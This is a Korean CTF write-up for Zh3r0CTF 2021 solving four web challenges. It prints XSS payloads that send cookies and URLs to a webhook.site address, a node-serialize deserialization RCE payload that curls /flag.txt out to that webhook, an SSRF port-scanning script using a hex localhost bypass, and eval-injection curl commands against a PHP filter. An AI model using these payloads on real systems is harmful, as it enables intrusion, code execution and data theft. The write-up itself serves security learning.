Zh3r0CTF 2021 Writeup

2021-06-08

Table Of Contents
  • # strpos and substr

  • # bxxs

    http://web.zh3r0.cf:3333/


    Untitled.png

    We’ve made some new epic updates to our website. Could you send us some feedback on it ?

    • 문제 분석 & 문제 풀이


      Untitled%201.png

      http://web.zh3r0.cf:3333

      해당 URL에 들어가면 아무런 동작을 하지 않는 GET THIS DEAL NOW 버튼과 /feedback URL로 이동하는 CLICK HERE 버튼이 있는것을 볼 수 있습니다.

      /flag URL으로 먼저 접근을 해보면 이렇게 admin이 아니라 출력을 하게 됩니다.

      Untitled%202.png

      그런 다음 /feedback Page로 이동을 해보면 이렇게 admin 관리자에게 피드백을 전송할 수 있는 공간이 주어지게 됩니다.

      Untitled%203.png


      해당 입력 칸에 webhook으로 공격자의 서버로 이동하도록 JS으로 페이로드를 짜면

        <script>window.location.href='https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34'</script>
      

      Untitled%204.png

      이렇게 webhook에 요청된 정보를 볼 수 있습니다.

        <script>window.location.href='https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34?c='+document.cookie</script>
      

      해당 기능을 이용하여 document.cookie 해당 admin이 가지고 있는 쿠키를 확인해볼려 시도하면

      Untitled%205.png

      위의 URL처럼 Set-cookie httponly로 인해 아무런 값이 담겨져 있지 않은것을 볼 수 있습니다.

      다른 정보도 가져오기 위해

        <script>window.location.href='https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34?url='+document.URL;</script>
      

      Untitled%206.png

      document.URL 변수로 해당 admin의 URL을 체크하면 위의 사진 처럼

      http://0.0.0.0:8080/Secret_admin_cookie_panel 해당 URL에서 접속하는것을 알 수 있습니다.

      해당 페이지에 접근하기 위해 http://web.zh3r0.cf:3333/Secret_admin_cookie_panel 해당 URL으로 들어가보면

      Untitled%207.png

      이렇게 쿠키가 존재하는것을 볼 수 있는데 해당 쿠키를 가지고 있는 상태에서 http://web.zh3r0.cf:3333/flag URL으로 접근을 해보면

      /Secret_admincookie_panel에서 얻은 쿠키로 인해 admin으로 인식하여 FLAG가 노출 됩니다.

      Untitled%208.png

    Flag is zh3r0{{Ea5y_bx55_ri8}}

    # sparta

    http://web.zh3r0.cf:6666/

    Public FILE Download


    Untitled.png

    Spartanians are starting to lose their great power, help them move their objects and rebuild their Empire.

    • 문제 분석 & 문제 풀이


      Untitled%201.png

      해당 문제의 경우 URL에 들어가면 이렇게 사이트에 연결할 수 없음이라고 나와있습니다.

      하지만 파일을 제공하기 때문에 직접 로컬에서 테스트를 진행했습니다.

      먼저 해당 문제 파일 안에 있는 문제 서버 구축하기 위한 Dockerfile을 빌드하기 위해 아래의 명령어을 실행한 다음 7777 PORT로 접속하면

        ~$ docker build --no-cache -t sparta .
        ~$ docker images
        REPOSITORY  TAG     IMAGE ID       CREATED          SIZE
        sparta      latest  b62a1ddc86f7   27 minutes ago   928MB
        ~$ docker run -it -d -p 7777:7777 --name=sparta sparta
        a6d29b1b0b3cd88821bebd7287f2a2285ecead94db485a21b4771327ebfdc945
      

      Untitled%202.png

      이러한 스파르타 사진이 있는 로그인 페이지가 나타나게 됩니다.

      하지만 usrname과 password에 어떠한 값을 입력해도

      Untitled%203.png

      귀여운 사진만 나타나는것을 볼 수 있습니다.

      그래서 다른 페이지를 찾아보면 아까 로그인 페이지의 하단에 있는 Login as guest를 누르면

      http://testip:7777/guest 이렇게 /guest로 이동하게 되면서

      Untitled%204.png

      이러한 사진이 나오게 됩니다.

      해당 Username, Country, City, introduction message 부분에 아무거나 입력하고 ADD YOUR INFO 버튼을 누르면

      Untitled%205.png

      쿠키가 발급되면서 Hello!가 뜨지만

      Untitled%206.png

      한번 새로고침을 하면 Cookie에 있는 값을 base64 decode한 후 역직렬화 하여 데이터를 출력하게 됩니다.

      해당 기능을 사용하는 코드를 살펴보면

        app.post('/guest', function(req, res) {
           if (req.cookies.guest) {
           	var str = new Buffer(req.cookies.guest, 'base64').toString();
           	var obj = serialize.unserialize(str);
           	if (obj.username) {
             	res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page");
           }
         } else {
             var username = req.body.username 
             var country = req.body.country 
             var city = req.body.city
             var serialized_info = `{"username":"${username}","country":"${country}","city":"${city}"}`
             var encoded_data = new Buffer(serialized_info).toString('base64');
             res.cookie('guest', encoded_data, {
               maxAge: 900000,
               httpOnly: true
             });
         }
         res.send("Hello!");
        });
      

      serialize.unserialize 함수를 이용하여 임의적으로 입력한 값이 역직렬화되어 username이 출력되는것을 볼 수 있습니다.

      해당 serialize.unserialize 함수는 nodejs 역직렬화 하는 과정에서 매우 취약한 함수이며 RCE(Remote Code Execute) 취약점을 발생시킬 수 있습니다.

        ~$ cat serialize.js
        const serialize = require('node-serialize');
      
        var data = `{"username":"_$$ND_FUNC$$_function (){require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout); });return 'a';}()", "country":"hello", "city":"helloworld"}`;
        serialize.unserialize(data);
        console.log(data);
      
        ~$ node serialize.js
        {"username":"_$$ND_FUNC$$_function (){require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout); });return 'a';}()", "country":"hello", "city":"helloworld"}
        uid=0(root) gid=0(root) groups=0(root)
      

      이렇게 unserialize 함수를 이용하여 역직렬화 시키는 과정에서 원하는 코드를 실행시킬 수 있습니다.

      이제 서버에 취약점을 발생시키기 위해서는 원하는대로 동작하는 페이로드를 base64 시킨 다음 Cookie를 저장하면 되는데

      해당 문제의 경우 명령어의 결과가 웹 페이지가 아닌 Console에 남기 때문에 결과를 얻기 위해 curl을 이용하였습니다.

        {"username":"_$$ND_FUNC$$_function (){require('child_process').exec('curl https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34?c=$(cat /flag.txt)', function(error, stdout, stderr) { console.log(stdout); });	return 'a';}()", "country":"hello", "city":"helloworld"}
        => eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY3VybCBodHRwczovL3dlYmhvb2suc2l0ZS80MWQxNWYxZC1kZWYxLTQ4MWYtYjhkMC1lMDQzOWFjNjhhMzQ/	Yz0kKGNhdCAvZmxhZy50eHQpJywgZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKSB7IGNvbnNvbGUubG9nKHN0ZG91dCk7IH0pO3JldHVybiAnYSc7fSgpIiwgImNvdW50cnkiOiJoZWxsbyIsICJjaXR5IjoiaGVsbG93b3JsZCJ9
      

      Untitled%207.png

      해당 CTF는 플래그 형식이 zh3r0{FLAG} 이니 문자만 잘 맞춰주면 됩니다.

    Flag is zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

    # Baby SSRF

    http://web.zh3r0.cf:1111/

    Hint : for i in range(5000,10000) XD


    Untitled.png

    Untitled%201.png

    Yet another server challenge :)

    • 문제 분석

      Untitled%202.png

      해당 페이지에 들어가면 이런 식으로 REQUEST NOW! 이라는 버튼이 2개 존재하는데 해당 버튼을 눌러 보면

      Untitled%203.png

      /request URL으로 이동하면 Invalid URL이 뜨면서 입력할 수 있는 공간이 있는것을 볼 수 있습니다.

      Untitled%204.png

      한번 https://me2nuk.com 을 입력하면 이렇게 Response의 결과를 출력하는것을 볼 수 있습니다.

      임의의 값을 입력한 URL으로 요청하면 응답 헤더가 출력되는 기능을 이용하여 local에 요청하게 만들기 위해 http://127.0.0.1을 입력하여 요청을 하게 만들면

      Untitled%205.png

      특정 키워드가 감지되는 경우 Please dont try to heck me sir... 괴롭히지 말라는 문구와

      존재하지 않는 URL이나 연결이되지 않는 URL으로 요청하는 경우 Learn about URL's First 가 뜨게 됩니다.

      Untitled%206.png

    • 문제 풀이

      local로 요청하기 위한 방법은 많이 존재하기 때문에 다양한 방법 중 0x7f000001(hex)

      를 이용하여 필터링을 우회할 수 있기 때문에 해당 우회 방법을 사용하면 됩니다.

      FLAG를 얻기 위해 문제 힌트를 참고하면 5000~10000 까지 반복하는 코드를 보여주는것을 볼 수 있는데 힌트대로 FLAG가 들어 있는 PORT로 요청을 하면 됩니다.

        from threading import Thread
        import requests
      
        URL = 'http://web.zh3r0.cf:1111/request'
        END = False
      
        def ports(st,en):
            global END
            for port in range(st,en):
                if END:
                    return False
                else:
                   payloads = 'http://0x7f000001:{}'.format(port)
                   r = requests.post(URL, data={'url':payloads, 'sub':'sub'})
                   if r.text.find("{&#39;") > -1:
                       print("FLAG Found URL : {0}\n{1}".format(r.url, r.text[r.text.find("zh3r0{"):r.text.find("}")+1]))
                       END = True
      
        for port in [5000, 6000, 7000, 8000, 9000]:
            t1 = Thread(target=ports, args=(port, port+1000))
            t1.start()
      
        print('Thread Starting..')
      

      Untitled%207.png

      threading를 이용하여 JSON 형태로 반환이 되는 페이지만 FLAG를 찾아 출력하게 만들면 됩니다.

    Flag is zh3r0{SSRF_0r_wh4t3v3r_ch4ll3ng3}


    # strpos and substr

    http://web.zh3r0.cf:2222/


    Untitled.png

    Can you bypass this WAF


    • 문제 분석 & 문제 풀이

        <?php
        	ini_set('display_errors',0);
        	include("flag.php");
      
        	if(!isset($_GET['user'])) highlight_file(__FILE__);
        	else{
        	  $a=$_GET['user'];    
        		if(strlen($a)>24 || gettype($a)!=="string" ){
        		  die("oh nâu!!");
        		}
        		if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
        		  $a=md5($a);
        			}
        		if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
        			$a=md5($a);
        		}
        		eval("echo 'Hello ".$a."<br>$flag';");
        	}
      
        ?>
      

      해당 문제는 PHP 소스코드를 분석하면 HTTP REQUEST GET METHOD 방식으로 user 파라미터를 전송하면 다양한 필터링을 거친 뒤 입력한 값이 eval 함수에 삽입이 되면서 echo 'Hello ".$a."<br>$flag'; 코드가 실행이 됩니다.

      단순히 a를 입력하는 경우 echo 'Hello a<br>$flag'; 이런 식으로 실행이 됩니다.

      또한 eval 함수에 임의적으로 값을 주입할 수 있기 때문에 eval 함수를 이용하여 원격으로 코드를 실행할 수 있습니다.

      해당 user 파라미터에 ?user=';system('ls'); 페이로드를 주입 하면

      Untitled%201.png

      이렇게 Hello (md5) (img) 형식으로 출력되는것을 볼 수 있습니다.

      이렇게 출력되는 이유는 주입한 페이로드가 PHP 필터링이 걸리면서 md5 함수의 반환값을 출력하는것을 볼 수 있습니다.

      ,system('ls'), 해당 페이로드를 우회하기 위해 필터링 리스트들을 분석을 했습니다.

      • Filter List

        Try Payloads => ',system('ls'),'

        • if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a))

          prge_match 함수를 이용하여 $a 변수에 하나라도 매치되면 입력한 변수 md5 Encrypt하게 됩니다.

            if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
            	$a=md5($a);
            }
          
          • Filter List

            image.png

        • if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))))

          해당 조건문이 페이로드 우회하는 부분에서 제일 핵심적인 요소 입니다.

          strpos, substr, strlen, preg_match 다양한 필터링에 걸리게 되면 $a 변수 md5 Encrypt하게 됩니다.

            if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
            	$a=md5($a);
            }
          
          • (strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)

            $a변수의 4번째 자릿수 이후의 문자열 안에 ( 문자열 자릿수가 1보다 커야되며 6번째 자릿수 이후의 문자열 안에 ) 문자열 자릿수가 1보다 커야 참이 됩니다.

            • Code Test

                ~$ cat test.php
                <?php
              
                $a = "',system('ls'),'";
              
                if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)){
                        echo '[x] Filter';
                }
              
                echo 'Filter substr($a,4,strlen($a) : '.substr($a,4,strlen($a))."\n";
                echo 'Filter substr($a,6,strlen($a) : '.substr($a,6,strlen($a))."\n";
                echo 'Filter strpos(substr($a,4,strlen($a)),")") : '.strpos(substr($a,4,strlen($a)),"(")."\n";
                echo 'Filter strpos(substr($a,6,strlen($a)),")") : '.strpos(substr($a,6,strlen($a)),")")."\n";
              
                ?>
                ~$ php test.php
                [x] FilterFilter substr($a,4,strlen($a) : stem('ls'),'
                Filter substr($a,6,strlen($a) : em('ls'),'
                Filter strpos(substr($a,4,strlen($a)),")") : 4
                Filter strpos(substr($a,6,strlen($a)),")") : 7
              
            • strpos(substr($a,4,strlen($a)),"(")>1
              • payloads => substr($a,4,strlen($a) => tem('ls'),

              $a변수의 4번째 자릿수 이후의 문자열을 가져온 다음 ) 문자열을 찾아 해당 자릿수가 1 보다 큰 수인지 비교합니다.

            • strpos(substr($a,6,strlen($a)),")")>1)
              • payloads => substr($a,6,strlen($a) => m('ls')

              $a변수의 6번째 자릿수 이후의 문자열을 가져온 다음 ) 문자열을 찾아 해당 자릿수가 1 보다 큰 수인지 비교합니다.

          • preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))

            preg_match 함수의 2번재 인자에 들어가는 값이 first 인자에 있는 정규표현식에 매치를 합니다.

            • Code Test

                ~$ cat test1.php
                <?php
              
                $a = "',system('ls'),'";
              
                if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)){
                        echo '[x] Filter'."\n";
                }
                echo 'Filter substr($a,4,strlen($a) : '.substr($a,4,strlen($a))."\n";
                echo 'Filter substr($a,6,strlen($a) : '.substr($a,6,strlen($a))."\n";
                echo 'Filter strpos(substr($a,4,strlen($a)),")") : '.strpos(substr($a,4,strlen($a)),"(")."\n";
                echo 'Filter strpos(substr($a,6,strlen($a)),")") : '.strpos(substr($a,6,strlen($a)),")")."\n";
              
                ?>
                ~$ php test1.php
                [x] Filter substr($a,4,strlen($a) : stem('ls'),'
                Filter substr($a,6,strlen($a) : em('ls'),'
                Filter strpos(substr($a,4,strlen($a)),")") : 4
                Filter strpos(substr($a,6,strlen($a)),")") : 7
              
            • /[A-Za-z0-9_]/i

              image_(1).png

            • substr($a,2+strpos(substr($a,4,strlen($a)),"("),2)

              • substr($a,2+strpos(substr($a,4,strlen($a)),"("),2)

                2+strpos(substr($a,4,strlen($a)) 의 반환값 자릿수 이후의 문자열에서 2번째 자릿수 까지 가져옵니다.

                • 2+strpos(substr($a,4,strlen($a)),"(")

                  $a변수의 4번째 자릿수 이후의 문자열에서 ( 문자열의 자릿수에서 2를 더합니다.

          • preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))

            • substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)

              const X = substr($a,4,strlen($a))

              간단하게 표시에서 X를 위 함수의 결과라면 substr(X, strpos(X,"("),12) 해당 코드와 같습니다.

              시도하기 위한 페이로드를 넣으면 X의 결과는 tem('ls'), 문자열이 들어가게 됩니다.

              • substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12)

                substr(X, strpos(X,"("),12) 해당 코드의 반환 값은 X 안에 있는 ) 문자가 있는 자릿수 이후의 문자열을 최대 12자리 만큼 반환 합니다.

              • strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1

                코드를 이해하기 쉽게 X로 치환한다면

                strpos(substr(X,strpos(X,"("),12),")")-1

                const Y = strpos(X,"(")

                Y는 X안에 있는 ( 문자 자릿수를 반환하므로 3이 됩니다.

                X 문자열을 Y 자릿수 이후 부터 최대 12글자를 반환한 뒤 그 문자열 안에 있는 ) 문자열을 찾은 다음 1을 뺍니다.

      위의 Filter List를 우회하면 최종 페이로드가 만들어지게 됩니다. ',system ('command' ),'

        curl "http://web.zh3r0.cf:2222/?user=%27,system%20%20(%27ls%27%20),'"
        curl "http://web.zh3r0.cf:2222/?user=%27,system%20%20(%27more%20/*%27%20),'"
      

      Untitled%202.png

      Untitled%203.png